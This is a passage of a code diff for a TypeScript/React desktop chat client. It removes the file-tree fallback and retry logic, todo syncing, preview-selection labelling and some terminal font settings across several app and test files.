       const command = `/blueprint ${payload.name}${slots ? ' ' + slots : ''}`
       requestComposerInsert(command, { mode: 'block', target: 'main' })
       requestComposerFocus('main')
     })
-
     // Tell the main process the renderer is ready to receive deep links.
     void window.hermesDesktop?.signalDeepLinkReady?.()
-
     return () => unsubscribe?.()
   }, [])
 
@@ -554,34 +547,20 @@ export function DesktopController() {
         return
       }
 
-      const storedProfile = $sessions
-        .get()
-        .find(session => session.id === storedSessionId || session._lineage_root_id === storedSessionId)?.profile
+      const storedProfile = $sessions.get().find(session => session.id === storedSessionId)?.profile
 
       for (let index = 0; index < Math.max(1, attempts); index += 1) {
         try {
           const latest = await getSessionMessages(storedSessionId, storedProfile)
-          const messages = toChatMessages(latest.messages)
           updateSessionState(
             runtimeSessionId,
             state => ({
               ...state,
-              messages: preserveLocalAssistantErrors(messages, state.messages)
+              messages: preserveLocalAssistantErrors(toChatMessages(latest.messages), state.messages)
             }),
             storedSessionId
           )
 
-          // Seed the status stack's todo group from history — but only while
-          // the plan is still in flight, so reopening an old chat doesn't pin
-          // its finished todo list above the composer forever.
-          const todos = latestSessionTodos(messages)
-
-          if (todos && todoListActive(todos)) {
-            setSessionTodos(runtimeSessionId, todos)
-          } else {
-            clearSessionTodos(runtimeSessionId)
-          }
-
           return
         } catch {
           // Best-effort fallback when live stream payloads are empty.
@@ -601,7 +580,6 @@ export function DesktopController() {
     queryClient,
     refreshHermesConfig,
     refreshSessions,
-    sessionStateByRuntimeIdRef,
     updateSessionState
   })
 
@@ -731,7 +709,6 @@ export function DesktopController() {
     editMessage,
     handleThreadMessagesChange,
     reloadFromMessage,
-    restoreToMessage,
     steerPrompt,
     submitText,
     transcribeVoiceAudio
@@ -966,7 +943,6 @@ export function DesktopController() {
       onPickImages={() => void composer.pickImages()}
       onReload={reloadFromMessage}
       onRemoveAttachment={id => void composer.removeAttachment(id)}
-      onRestoreToMessage={restoreToMessage}
       onSteer={steerPrompt}
       onSubmit={submitText}
       onThreadMessagesChange={handleThreadMessagesChange}
@@ -1012,8 +988,8 @@ export function DesktopController() {
       width={FILE_BROWSER_DEFAULT_WIDTH}
     >
       <RightSidebarPane
-        onActivateFile={path => composer.insertContextPathInlineRef(path)}
-        onActivateFolder={path => composer.insertContextPathInlineRef(path, true)}
+        onActivateFile={composer.attachContextFilePath}
+        onActivateFolder={composer.attachContextFolderPath}
         onChangeCwd={changeSessionCwd}
       />
     </Pane>

apps/desktop/src/app/right-sidebar/files/tree.tsx

@@ -12,8 +12,6 @@ import type { TreeNode } from './use-project-tree'
 
 const ROW_HEIGHT = 22
 const INDENT = 10
-/** Base inset for every row; react-arborist owns paddingLeft for depth indent. */
-const TREE_ROW_INSET = 12
 
 interface ProjectTreeProps {
   collapseNonce: number
@@ -202,16 +200,18 @@ function ProjectTreeRow({
         event.dataTransfer.setData('text/plain', node.data.id)
       }}
       ref={dragHandle}
-      style={{
-        ...style,
-        paddingLeft:
-          (typeof style.paddingLeft === 'number'
-            ? style.paddingLeft
-            : Number.parseFloat(String(style.paddingLeft ?? 0)) || 0) + TREE_ROW_INSET
-      }}
+      style={style}
     >
-      {/* No chevron column — the folder icon (open/closed) already carries the
-          expand state, so the extra glyph was pure noise. */}
+      {isFolder && !isPlaceholder && (
+        <span aria-hidden className="flex w-3 items-center justify-center">
+          <Codicon
+            className="text-(--ui-text-tertiary)"
+            name={node.isOpen ? 'chevron-down' : 'chevron-right'}
+            size="0.75rem"
+          />
+        </span>
+      )}
+      {!isFolder && <span aria-hidden className="w-3 shrink-0" />}
       <span aria-hidden className="flex w-3.5 items-center justify-center text-(--ui-text-tertiary)">
         {isPlaceholder && !isErrorPlaceholder ? (
           <Codicon name="loading" size="0.75rem" spinning />

apps/desktop/src/app/right-sidebar/files/use-project-tree.test.ts

@@ -221,36 +221,6 @@ describe('useProjectTree', () => {
     expect(readDir).toHaveBeenLastCalledWith('/b')
   })
 
-  it('falls back to the sanitized workspace dir when the session cwd is gone', async () => {
-    const sanitizeWorkspaceCwd = vi.fn(async () => ({ cwd: '/home/me/projects', sanitized: true }))
-    readDir.mockImplementation(async path => {
-      if (path === '/deleted/worktree') return { entries: [], error: 'ENOENT' }
-      if (path === '/home/me/projects') return ok([{ name: 'repo', path: '/home/me/projects/repo', isDirectory: true }])
-      throw new Error(`unexpected path ${path}`)
-    })
-    ;(window as unknown as { hermesDesktop: unknown }).hermesDesktop = { readDir, sanitizeWorkspaceCwd }
-
-    const { result } = renderHook(() => useProjectTree('/deleted/worktree'))
-
-    await waitFor(() => expect(result.current.data.length).toBe(1))
-
-    expect(sanitizeWorkspaceCwd).toHaveBeenCalledWith('/deleted/worktree')
-    expect(result.current.rootError).toBeNull()
-    expect(result.current.effectiveCwd).toBe('/home/me/projects')
-    expect(result.current.data[0]?.name).toBe('repo')
-  })
-
-  it('keeps the root error when sanitize offers no usable fallback', async () => {
-    const sanitizeWorkspaceCwd = vi.fn(async () => ({ cwd: '/deleted/worktree', sanitized: false }))
-    readDir.mockResolvedValue({ entries: [], error: 'ENOENT' })
-    ;(window as unknown as { hermesDesktop: unknown }).hermesDesktop = { readDir, sanitizeWorkspaceCwd }
-
-    const { result } = renderHook(() => useProjectTree('/deleted/worktree'))
-
-    await waitFor(() => expect(result.current.rootError).toBe('ENOENT'))
-    expect(result.current.effectiveCwd).toBe('/deleted/worktree')
-  })
-
   it('returns no-bridge gracefully when window.hermesDesktop is missing', async () => {
     delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
 

apps/desktop/src/app/right-sidebar/files/use-project-tree.ts

@@ -64,10 +64,6 @@ export interface UseProjectTreeResult {
   /** Bumped by collapseAll so callers can remount the tree fully collapsed. */
   collapseNonce: number
   data: TreeNode[]
-  /** Directory actually displayed — differs from the requested cwd when the
-   *  session's recorded cwd no longer exists and we fell back to the default
-   *  workspace dir. */
-  effectiveCwd: string
   openState: Record<string, boolean>
   rootError: string | null
   rootLoading: boolean
@@ -84,8 +80,6 @@ interface ProjectTreeState {
   loaded: boolean
   openState: Record<string, boolean>
   requestId: number
-  /** Directory the displayed entries were read from ('' until first load). */
-  resolvedCwd: string
   rootError: string | null
   rootLoading: boolean
 }
@@ -97,7 +91,6 @@ const initialState: ProjectTreeState = {
   loaded: false,
   openState: {},
   requestId: 0,
-  resolvedCwd: '',
   rootError: null,
   rootLoading: false
 }
@@ -107,11 +100,6 @@ const $projectTree = atom<ProjectTreeState>(initialState)
 let nextRootRequestId = 0
 let lastConnectionKey = ''
 
-// While the root is errored (ENOENT during a session's cwd race, a folder that
-// reappears after a checkout, a remote that wasn't ready), keep retrying on a
-// slow cadence so the tree self-heals instead of staying "UNREADABLE" forever.
-const ROOT_ERROR_RETRY_MS = 3_000
-
 function setProjectTree(updater: (current: ProjectTreeState) => ProjectTreeState) {
   $projectTree.set(updater($projectTree.get()))
 }
@@ -122,31 +110,6 @@ function clearProjectTree() {
   $projectTree.set({ ...initialState, requestId: nextRootRequestId })
 }
 
-/** Sessions record their launch cwd; deleted worktrees and remote-backend
- *  paths arrive here as directories that don't exist on this machine. Rather
- *  than bricking the tree, display the sanitized workspace fallback (main
- *  prefers the configured default project dir). Local connections only —
- *  remote trees are read through the remote bridge. */
-async function fallbackRootFor(cwd: string): Promise<string | null> {
-  if ($connection.get()?.mode === 'remote') {
-    return null
-  }
-
-  const sanitize = window.hermesDesktop?.sanitizeWorkspaceCwd
-
-  if (!sanitize) {
-    return null
-  }
-
-  try {
-    const { cwd: fallback, sanitized } = await sanitize(cwd)
-
-    return sanitized && fallback && fallback !== cwd ? fallback : null
-  } catch {
-    return null
-  }
-}
-
 async function loadRoot(cwd: string, { force = false }: { force?: boolean } = {}) {
   if (!cwd) {
     clearProjectTree()
@@ -175,27 +138,11 @@ async function loadRoot(cwd: string, { force = false }: { force?: boolean } = {}
     loaded: false,
     openState: current.cwd === cwd ? current.openState : {},
     requestId,
-    resolvedCwd: '',
     rootError: null,
     rootLoading: true
   })
 
-  let resolvedCwd = cwd
-  let { entries, error } = await readProjectDir(cwd, cwd)
-
-  if (error) {
-    const fallback = await fallbackRootFor(cwd)
-
-    if (fallback) {
-      const retry = await readProjectDir(fallback, fallback)
-
-      if (!retry.error) {
-        resolvedCwd = fallback
-        entries = retry.entries
-        error = undefined
-      }
-    }
-  }
+  const { entries, error } = await readProjectDir(cwd, cwd)
 
   setProjectTree(latest => {
     if (latest.cwd !== cwd || latest.requestId !== requestId) {
@@ -206,7 +153,6 @@ async function loadRoot(cwd: string, { force = false }: { force?: boolean } = {}
       ...latest,
       data: error ? [] : entries.map(e => makeNode(e.path, e.name, e.isDirectory)),
       loaded: true,
-      resolvedCwd,
       rootError: error || null,
       rootLoading: false
     }
@@ -284,8 +230,7 @@ export function useProjectTree(cwd: string): UseProjectTreeResult {
         }
       })
 
-      const rootPath = $projectTree.get().resolvedCwd || cwd
-      const { entries, error } = await readProjectDir(id, rootPath)
+      const { entries, error } = await readProjectDir(id, cwd)
 
       inflight.delete(id)
 
@@ -311,62 +256,19 @@ export function useProjectTree(cwd: string): UseProjectTreeResult {
   useEffect(() => {
     const connectionChanged = lastConnectionKey !== '' && lastConnectionKey !== connectionKey
     lastConnectionKey = connectionKey
-
     if (connectionChanged) {
       clearProjectDirCache()
       void loadRoot(cwd, { force: true })
-
       return
     }
-
     void loadRoot(cwd)
   }, [connectionKey, cwd])
 
-  // Self-heal: an errored root re-probes every few seconds while the tree is
-  // mounted. Each attempt bumps requestId, so a persistent error re-arms the
-  // timer; a success clears rootError and stops it.
-  useEffect(() => {
-    if (!cwd || state.cwd !== cwd || !state.rootError) {
-      return
-    }
-
-    const timer = window.setTimeout(() => void loadRoot(cwd, { force: true }), ROOT_ERROR_RETRY_MS)
-
-    return () => window.clearTimeout(timer)
-  }, [cwd, state.cwd, state.requestId, state.rootError])
-
-  // While showing the fallback root, quietly re-probe the session's real cwd
-  // (a worktree re-created, a checkout restored) and switch back when it
-  // reappears. The probe never touches state, so there's no flicker.
-  const usingFallback = state.cwd === cwd && Boolean(state.resolvedCwd) && state.resolvedCwd !== cwd
-
-  useEffect(() => {
-    if (!cwd || !usingFallback) {
-      return
-    }
-
-    let cancelled = false
-
-    const timer = window.setInterval(() => {
-      void readProjectDir(cwd, cwd).then(({ error }) => {
-        if (!cancelled && !error) {
-          void loadRoot(cwd, { force: true })
-        }
-      })
-    }, ROOT_ERROR_RETRY_MS)
-
-    return () => {
-      cancelled = true
-      window.clearInterval(timer)
-    }
-  }, [cwd, usingFallback])
-
   return useMemo(
     () => ({
       collapseAll,
       collapseNonce: state.cwd === cwd ? state.collapseNonce : 0,
       data: state.cwd === cwd ? state.data : [],
-      effectiveCwd: state.cwd === cwd && state.resolvedCwd ? state.resolvedCwd : cwd,
       loadChildren,
       openState: state.cwd === cwd ? state.openState : {},
       refreshRoot,
@@ -384,7 +286,6 @@ export function useProjectTree(cwd: string): UseProjectTreeResult {
       state.cwd,
       state.data,
       state.openState,
-      state.resolvedCwd,
       state.rootError,
       state.rootLoading
     ]

apps/desktop/src/app/right-sidebar/index.tsx

@@ -5,6 +5,7 @@ import { ErrorBoundary } from '@/components/error-boundary'
 import { Button } from '@/components/ui/button'
 import { Codicon } from '@/components/ui/codicon'
 import { Loader } from '@/components/ui/loader'
+import { Tip } from '@/components/ui/tooltip'
 import { useI18n } from '@/i18n'
 import { selectDesktopPaths } from '@/lib/desktop-fs'
 import { normalizeOrLocalPreviewTarget } from '@/lib/local-preview'
@@ -33,11 +34,17 @@ export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd
   const currentCwd = useStore($currentCwd).trim()
   const hasCwd = currentCwd.length > 0
 
+  const cwdName = hasCwd
+    ? (currentCwd
+        .split(/[\\/]+/)
+        .filter(Boolean)
+        .pop() ?? currentCwd)
+    : r.noFolderSelected
+
   const {
     collapseAll,
     collapseNonce,
     data,
-    effectiveCwd,
     loadChildren,
     openState,
     refreshRoot,
@@ -46,18 +53,11 @@ export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd
     setNodeOpen
   } = useProjectTree(currentCwd)
 
-  const cwdName = hasCwd
-    ? (effectiveCwd
-        .split(/[\\/]+/)
-        .filter(Boolean)
-        .pop() ?? effectiveCwd)
-    : r.noFolderSelected
-
   const canCollapse = Object.values(openState).some(Boolean)
 
   const chooseFolder = async () => {
     const selected = await selectDesktopPaths({
-      defaultPath: hasCwd ? effectiveCwd : undefined,
+      defaultPath: hasCwd ? currentCwd : undefined,
       directories: true,
       multiple: false,
       title: r.changeCwdTitle
@@ -70,7 +70,7 @@ export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd
 
   const previewFile = async (path: string) => {
     try {
-      const preview = await normalizeOrLocalPreviewTarget(path, effectiveCwd || undefined)
+      const preview = await normalizeOrLocalPreviewTarget(path, currentCwd || undefined)
 
       if (!preview) {
         throw new Error(r.couldNotPreview(path))
@@ -97,7 +97,7 @@ export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd
       <FilesystemTab
         canCollapse={canCollapse}
         collapseNonce={collapseNonce}
-        cwd={effectiveCwd}
+        cwd={currentCwd}
         cwdName={cwdName}
         data={data}
         error={rootError}
@@ -126,12 +126,13 @@ interface FilesystemTabProps extends FileTreeBodyProps {
   onRefresh: () => void
 }
 
-// Sidebar palette + hover-reveal: refresh tracks label hover; collapse-all
-// stays visible while any folder is expanded.
+// Sidebar-specific color/hover treatment only — size, radius, cursor and the
+// base focus ring come from <Button size="icon-xs">. This constant exists
+// purely to share the sidebar palette + the hover-reveal behavior below.
 const HEADER_ACTION_CLASS =
   'text-sidebar-foreground/70 hover:bg-sidebar-accent! hover:text-sidebar-accent-foreground! focus-visible:ring-sidebar-ring'
 
-const HEADER_ACTION_LABEL_REVEAL = `${HEADER_ACTION_CLASS} pointer-events-none opacity-0 transition-opacity focus-visible:pointer-events-auto focus-visible:opacity-100 peer-focus-visible/project-label:pointer-events-auto peer-focus-visible/project-label:opacity-100 peer-hover/project-label:pointer-events-auto peer-hover/project-label:opacity-100`
+const HEADER_ACTION_REVEAL_CLASS = `${HEADER_ACTION_CLASS} pointer-events-none opacity-0 transition-opacity focus-visible:opacity-100 group-focus-within/project-header:pointer-events-auto group-focus-within/project-header:opacity-100 group-hover/project-header:pointer-events-auto group-hover/project-header:opacity-100`
 
 function FilesystemTab({
   canCollapse,
@@ -156,20 +157,20 @@ function FilesystemTab({
   const r = t.rightSidebar
 
   return (
-    <div className="flex min-h-0 flex-1 flex-col">
+    <div className="group/project-header flex min-h-0 flex-1 flex-col">
       <RightSidebarSectionHeader>
-        <div className="peer/project-label flex min-w-0 flex-1">
+        <Tip label={hasCwd ? r.folderTip(cwd) : r.openFolder}>
           <button
-            className="flex w-full min-w-0 items-center rounded-md text-left hover:text-(--ui-text-secondary)"
+            className="flex min-w-0 flex-1 items-center rounded-md text-left hover:text-(--ui-text-secondary)"
             onClick={() => void onChangeFolder()}
             type="button"
           >
             <SidebarPanelLabel>{cwdName}</SidebarPanelLabel>
           </button>
-        </div>
+        </Tip>
         <Button
           aria-label={r.refreshTree}
-          className={HEADER_ACTION_LABEL_REVEAL}
+          className={HEADER_ACTION_CLASS}
           disabled={!hasCwd || loading}
           onClick={onRefresh}
           size="icon-xs"
@@ -188,7 +189,7 @@ function FilesystemTab({
         </Button>
         <Button
           aria-label={r.collapseAll}
-          className={cn(HEADER_ACTION_CLASS, !canCollapse && 'pointer-events-none opacity-0')}
+          className={HEADER_ACTION_REVEAL_CLASS}
           disabled={!hasCwd || !canCollapse}
           onClick={onCollapseAll}
           size="icon-xs"
@@ -208,7 +209,6 @@ function FilesystemTab({
         onLoadChildren={onLoadChildren}
         onNodeOpenChange={onNodeOpenChange}
         onPreviewFile={onPreviewFile}
-        onRetry={onRefresh}
         openState={openState}
       />
     </div>
@@ -230,9 +230,6 @@ interface FileTreeBodyProps {
   onLoadChildren: (id: string) => void | Promise<void>
   onNodeOpenChange: (id: string, open: boolean) => void
   onPreviewFile?: (path: string) => void
-  /** Force-reload the root. The hook also auto-retries while errored, so this
-   *  is the impatient-user path. */
-  onRetry?: () => void
   openState: ReturnType<typeof useProjectTree>['openState']
 }
 
@@ -247,7 +244,6 @@ function FileTreeBody({
   onLoadChildren,
   onNodeOpenChange,
   onPreviewFile,
-  onRetry,
   openState
 }: FileTreeBodyProps) {
   const { t } = useI18n()
@@ -258,20 +254,7 @@ function FileTreeBody({
   }
 
   if (error) {
-    return (
-      <div className="flex min-h-0 flex-1 flex-col items-center justify-center gap-2 px-4 text-center">
-        <EmptyState body={r.unreadableBody(error)} title={r.unreadableTitle} />
-        {onRetry && (
-          <button
-            className="text-[0.68rem] font-medium text-muted-foreground transition hover:text-foreground"
-            onClick={onRetry}
-            type="button"
-          >
-            {r.tryAgain}
-          </button>
-        )}
-      </div>
-    )
+    return <EmptyState body={r.unreadableBody(error)} title={r.unreadableTitle} />
   }
 
   if (loading && data.length === 0) {

apps/desktop/src/app/right-sidebar/terminal/index.tsx

@@ -9,7 +9,7 @@ import { useI18n } from '@/i18n'
 import { SidebarPanelLabel } from '../../shell/sidebar-label'
 import { setTerminalTakeover } from '../store'
 
-import { KbdCombo } from '@/components/ui/kbd'
+import { addSelectionShortcutLabel } from './selection'
 import { useTerminalSession } from './use-terminal-session'
 
 interface TerminalTabProps {
@@ -69,7 +69,7 @@ export function TerminalTab({ cwd, onAddSelectionToChat }: TerminalTabProps) {
               variant="secondary"
             >
               {t.rightSidebar.addToChat}
-              <KbdCombo className="ml-1 opacity-70" combo="mod+l" size="sm" />
+              <span className="ml-1 text-[0.6rem] text-(--ui-text-tertiary)">{addSelectionShortcutLabel()}</span>
             </Button>
           </div>
         )}

apps/desktop/src/app/right-sidebar/terminal/selection.ts

@@ -99,6 +99,8 @@ export function resolveSurfaceColor(fallback: string): string {
 
 export const isMacPlatform = () => navigator.platform.toLowerCase().includes('mac')
 
+export const addSelectionShortcutLabel = () => (isMacPlatform() ? '⌘L' : 'Ctrl+L')
+
 export function isAddSelectionShortcut(event: KeyboardEvent) {
   const mod = isMacPlatform() ? event.metaKey : event.ctrlKey
 

apps/desktop/src/app/right-sidebar/terminal/use-terminal-session.ts

@@ -7,7 +7,6 @@ import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
 import type { CSSProperties } from 'react'
 
 import { triggerHaptic } from '@/lib/haptics'
-import { $filePreviewTarget, $previewTarget } from '@/store/preview'
 import { useTheme } from '@/themes/context'
 
 import { makeTerminalReader, setActiveTerminalReader } from './buffer'
@@ -21,17 +20,6 @@ import {
 
 type TerminalStatus = 'closed' | 'open' | 'starting'
 
-// ⌘/Ctrl+L is a global shortcut, so a text selection in the file preview pane
-// lands in this handler with no xterm selection. Label those with the previewed
-// file's name instead of the shell, so the composer ref reads as a file quote
-// rather than a bogus "zsh:N lines".
-function previewSelectionLabel(): string {
-  const target = $filePreviewTarget.get() ?? $previewTarget.get()
-  const source = target?.path || target?.url || ''
-
-  return source.split(/[\\/]/).filter(Boolean).pop() || target?.label?.trim() || ''
-}
-
 const HERMES_PATHS_MIME = 'application/x-hermes-paths'
 
 function readEscapeSequence(data: string, index: number) {
@@ -269,20 +257,16 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
   )
 
   const addSelectionToChat = useCallback(() => {
-    const termSelection = (termRef.current?.getSelection() || selectionRef.current).trim()
-    const selectedText = termSelection || window.getSelection()?.toString() || ''
+    const selectedText = readSelection() || selectionRef.current
     const trimmed = selectedText.trim()
 
     if (!trimmed) {
       return
     }
 
-    // Terminal selection → shell-anchored label; anything else came from the
-    // preview pane sharing this global shortcut → label it with the file.
-    const label = termSelection
-      ? selectionLabelRef.current ||
-        (termRef.current ? terminalSelectionLabel(termRef.current, shellNameRef.current, selectedText) : 'selection')
-      : previewSelectionLabel() || 'selection'
+    const label =
+      selectionLabelRef.current ||
+      (termRef.current ? terminalSelectionLabel(termRef.current, shellNameRef.current, selectedText) : 'selection')
 
     onAddSelectionToChatRef.current(trimmed, label)
     termRef.current?.clearSelection()
@@ -291,7 +275,7 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
     setSelection('')
     setSelectionStyle(null)
     triggerHaptic('selection')
-  }, [])
+  }, [readSelection])
 
   // Always listen — gating on the React selection state misses selections the
   // TUI redraw races. Only swallow ⌘/Ctrl+L when there's text to send, else it
@@ -328,20 +312,11 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
 
     const term = new Terminal({
       allowProposedApi: true,
-      // Opaque canvas = WebGL's crisp fast-path. allowTransparency instead bakes
-      // glyphs as grayscale-alpha for compositing over a see-through canvas, which
-      // reads soft on every platform; VS Code keeps it off and our surface
-      // (--ui-bg-chrome) is opaque anyway, so withSurface paints it solid.
-      allowTransparency: false,
+      allowTransparency: true,
       convertEol: true,
       cursorBlink: true,
-      fontFamily: "'JetBrains Mono', 'Cascadia Code', 'SF Mono', Menlo, Consolas, monospace",
+      fontFamily: "'SF Mono', 'Menlo', 'Cascadia Code', 'JetBrains Mono', monospace",
       fontSize: 11,
-      // VS Code's terminal renders 'normal'/'bold' (400/700); we were using Medium
-      // (500) as the base, which reads a touch heavy at this size.
-      fontWeight: 'normal',
-      fontWeightBold: 'bold',
-      letterSpacing: 0,
       lineHeight: 1.12,
       // Full-screen TUIs (hermes --tui, vim) grab the mouse, so a plain drag
       // can't select — ⌥-drag (macOS) / Shift-drag (else) forces a native
@@ -623,15 +598,13 @@ export function useTerminalSession({ cwd, onAddSelectionToChat }: UseTerminalSes
       startSession()
     }
 
-    // fonts.ready settles only already-requested faces; the regular (400),
-    // bold (700) and italic aren't asked for until styled output paints (past
-    // atlas init), so warm them up front — otherwise the WebGL atlas bakes a
-    // fallback face and the terminal renders thin until a repaint.
-    const warm = document.fonts?.load
-      ? Promise.allSettled(['400', '700', 'italic 400'].map(v => document.fonts.load(`${v} 11px 'JetBrains Mono'`)))
-      : Promise.resolve()
+    const fonts = typeof document !== 'undefined' ? document.fonts : undefined
 
-    void warm.then(mount, mount)
+    if (fonts?.ready) {
+      void fonts.ready.then(mount, mount)
+    } else {
+      mount()
+    }
 
     return () => {
       disposed = true

apps/desktop/src/app/session/hooks/use-message-stream.ts

@@ -16,16 +16,9 @@ import {
 } from '@/lib/chat-messages'
 import { coerceGatewayText, coerceThinkingText, normalizePersonalityValue } from '@/lib/chat-runtime'
 import { gatewayEventRequiresSessionId } from '@/lib/gateway-events'
-import {
-  dedupeGeneratedImageEchoesInParts,
-  generatedImageEchoSources,
-  stripGeneratedImageEchoes
-} from '@/lib/generated-images'
 import { triggerHaptic } from '@/lib/haptics'
 import { isProviderSetupErrorMessage } from '@/lib/provider-setup-errors'
-import { parseTodos } from '@/lib/todos'
 import { setClarifyRequest } from '@/store/clarify'
-import { refreshBackgroundProcesses } from '@/store/composer-status'
 import { $gateway } from '@/store/gateway'
 import { notify } from '@/store/notifications'
 import { requestDesktopOnboarding } from '@/store/onboarding'
@@ -44,7 +37,6 @@ import {
   setYoloActive
 } from '@/store/session'
 import { clearSessionSubagents, pruneDelegateFallbackSubagents, upsertSubagent } from '@/store/subagents'
-import { setSessionTodos } from '@/store/todos'
 import { recordToolDiff } from '@/store/tool-diffs'
 import type { RpcEvent } from '@/types/hermes'
 
@@ -60,7 +52,6 @@ interface MessageStreamOptions {
   queryClient: QueryClient
   refreshHermesConfig: () => Promise<void>
   refreshSessions: () => Promise<void>
-  sessionStateByRuntimeIdRef: MutableRefObject<Map<string, ClientSessionState>>
   updateSessionState: (
     sessionId: string,
     updater: (state: ClientSessionState) => ClientSessionState,
@@ -76,7 +67,15 @@ interface QueuedStreamDeltas {
 type SessionRuntimeStatePatch = Partial<
   Pick<
     ClientSessionState,
-    'branch' | 'cwd' | 'fast' | 'model' | 'personality' | 'provider' | 'reasoningEffort' | 'serviceTier' | 'yolo'
+    | 'branch'
+    | 'cwd'
+    | 'fast'
+    | 'model'
+    | 'personality'
+    | 'provider'
+    | 'reasoningEffort'
+    | 'serviceTier'
+    | 'yolo'
   >
 >
 
@@ -254,14 +253,8 @@ export function useMessageStream({
   queryClient,
   refreshHermesConfig,
   refreshSessions,
-  sessionStateByRuntimeIdRef,
   updateSessionState
 }: MessageStreamOptions) {
-  const sessionInterrupted = useCallback(
-    (sessionId: string) => sessionStateByRuntimeIdRef.current.get(sessionId)?.interrupted ?? false,
-    [sessionStateByRuntimeIdRef]
-  )
-
   // Patch the in-flight assistant message (or seed it). Centralises the
   // streamId/groupId bookkeeping every event callback would otherwise repeat.
   const mutateStream = useCallback(
@@ -348,7 +341,7 @@ export function useMessageStream({
         if (queued.assistant) {
           mutateStream(
             id,
-            parts => dedupeGeneratedImageEchoesInParts(appendAssistantTextPart(parts, queued.assistant)),
+            parts => appendAssistantTextPart(parts, queued.assistant),
             () => [assistantTextPart(queued.assistant)]
           )
         }
@@ -485,20 +478,6 @@ export function useMessageStream({
       // a tool part can't jump ahead of the text that preceded it.
       flushQueuedDeltas(sessionId)
 
-      if (sessionInterrupted(sessionId)) {
-        return
-      }
-
-      // The composer status stack owns todo display now (no inline panel) —
-      // mirror every todo state the tool reports into its session store.
-      if (payload?.name === 'todo') {
-        const todos = parseTodos(payload.todos) ?? parseTodos(payload.result) ?? parseTodos(payload.args)
-
-        if (todos) {
-          setSessionTodos(sessionId, todos)
-        }
-      }
-
       if (!nativeSubagentSessionsRef.current.has(sessionId)) {
         for (const subagentPayload of delegateTaskPayloads(payload, phase, sourceEventType)) {
           upsertSubagent(
@@ -512,12 +491,12 @@ export function useMessageStream({
 
       mutateStream(
         sessionId,
-        parts => dedupeGeneratedImageEchoesInParts(upsertToolPart(parts, payload, phase)),
+        parts => upsertToolPart(parts, payload, phase),
         () => upsertToolPart([], payload, phase),
         { pending: m => phase !== 'complete' || (m.pending ?? false) }
       )
     },
-    [flushQueuedDeltas, mutateStream, sessionInterrupted]
+    [flushQueuedDeltas, mutateStream]
   )
 
   const completeAssistantMessage = useCallback(
@@ -545,11 +524,9 @@ export function useMessageStream({
         const finalText = renderMediaTags(text).trim()
         const completionError = completionErrorText(finalText)
         const normalize = (value: string) => value.replace(/\s+/g, ' ').trim()
+        const dedupeReference = normalize(finalText)
 
         const replaceTextPart = (parts: ChatMessagePart[]) => {
-          const visibleFinalText = stripGeneratedImageEchoes(finalText, generatedImageEchoSources(parts)).trim()
-          const dedupeReference = normalize(visibleFinalText)
-
           const kept = parts.filter(part => {
             if (part.type === 'text') {
               return false
@@ -564,7 +541,7 @@ export function useMessageStream({
             return !(r && (dedupeReference.startsWith(r) || r.startsWith(dedupeReference)))
           })
 
-          return visibleFinalText ? [...kept, assistantTextPart(visibleFinalText)] : kept
+          return finalText ? [...kept, assistantTextPart(finalText)] : kept
         }
 
         const completeMessage = (message: ChatMessage): ChatMessage =>
@@ -700,11 +677,9 @@ export function useMessageStream({
     (event: RpcEvent) => {
       const payload = event.payload as GatewayEventPayload | undefined
       const explicitSid = event.session_id || ''
-
       if (!explicitSid && gatewayEventRequiresSessionId(event.type)) {
         return
       }
-
       const sessionId = explicitSid || activeSessionIdRef.current
       const isActiveEvent = !!sessionId && sessionId === activeSessionIdRef.current
 
@@ -900,22 +875,13 @@ export function useMessageStream({
           // the sidebar indicator clears as soon as it's answered, not only at
           // message.complete.
           updateSessionState(sessionId, state => (state.needsInput ? { ...state, needsInput: false } : state))
-
-          // terminal/process tool calls are the only things that spawn or reap
-          // background processes — sync the composer status stack right after.
-          if (
-            !sessionInterrupted(sessionId) &&
-            (payload?.name === 'terminal' || payload?.name === 'process')
-          ) {
-            void refreshBackgroundProcesses(sessionId)
-          }
         }
 
         if (typeof payload?.inline_diff === 'string' && payload.inline_diff.trim()) {
           recordToolDiff(payload.tool_id || payload.name || '', payload.inline_diff)
         }
       } else if (SUBAGENT_EVENT_TYPES.has(event.type)) {
-        if (sessionId && payload && !sessionInterrupted(sessionId)) {
+        if (sessionId && payload) {
           if (!nativeSubagentSessionsRef.current.has(sessionId)) {
             pruneDelegateFallbackSubagents(sessionId)
           }
@@ -967,8 +933,6 @@ export function useMessageStream({
         // raise it and wait — the sidebar flags "needs input" and the inline bar
         // surfaces once the user focuses that chat.
         setApprovalRequest({
-          // false only when a tirith warning forbids it; backend omits the field otherwise.
-          allowPermanent: payload?.allow_permanent !== false,
           command: typeof payload?.command === 'string' ? payload.command : '',
           description: typeof payload?.description === 'string' ? payload.description : 'dangerous command',
           sessionId: sessionId ?? null
@@ -1021,12 +985,6 @@ export function useMessageStream({
             text: result ? JSON.stringify(result) : ''
           })
         }
-      } else if (event.type === 'status.update') {
-        // The gateway's notification poller announces background process
-        // completions / watch matches here — re-sync the status stack.
-        if (sessionId && payload?.kind === 'process') {
-          void refreshBackgroundProcesses(sessionId)
-        }
       } else if (event.type === 'error') {
         const errorMessage = payload?.message || 'Hermes reported an error'
         const looksLikeProviderSetup = isProviderSetupErrorMessage(errorMessage)
@@ -1067,7 +1025,6 @@ export function useMessageStream({
       flushQueuedDeltas,
       queryClient,
       refreshHermesConfig,
-      sessionInterrupted,
       updateSessionState,
       upsertToolCall
     ]

apps/desktop/src/app/session/hooks/use-prompt-actions.test.tsx

@@ -3,9 +3,8 @@ import type { MutableRefObject } from 'react'
 import { useEffect, useRef } from 'react'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 
-import { textPart } from '@/lib/chat-messages'
 import { $composerAttachments, type ComposerAttachment } from '@/store/composer'
-import { $busy, $connection, $messages, $sessions, setSessions } from '@/store/session'
+import { $connection, $sessions, setSessions } from '@/store/session'
 import type { SessionInfo } from '@/types/hermes'
 
 import { uploadComposerAttachment, usePromptActions } from './use-prompt-actions'
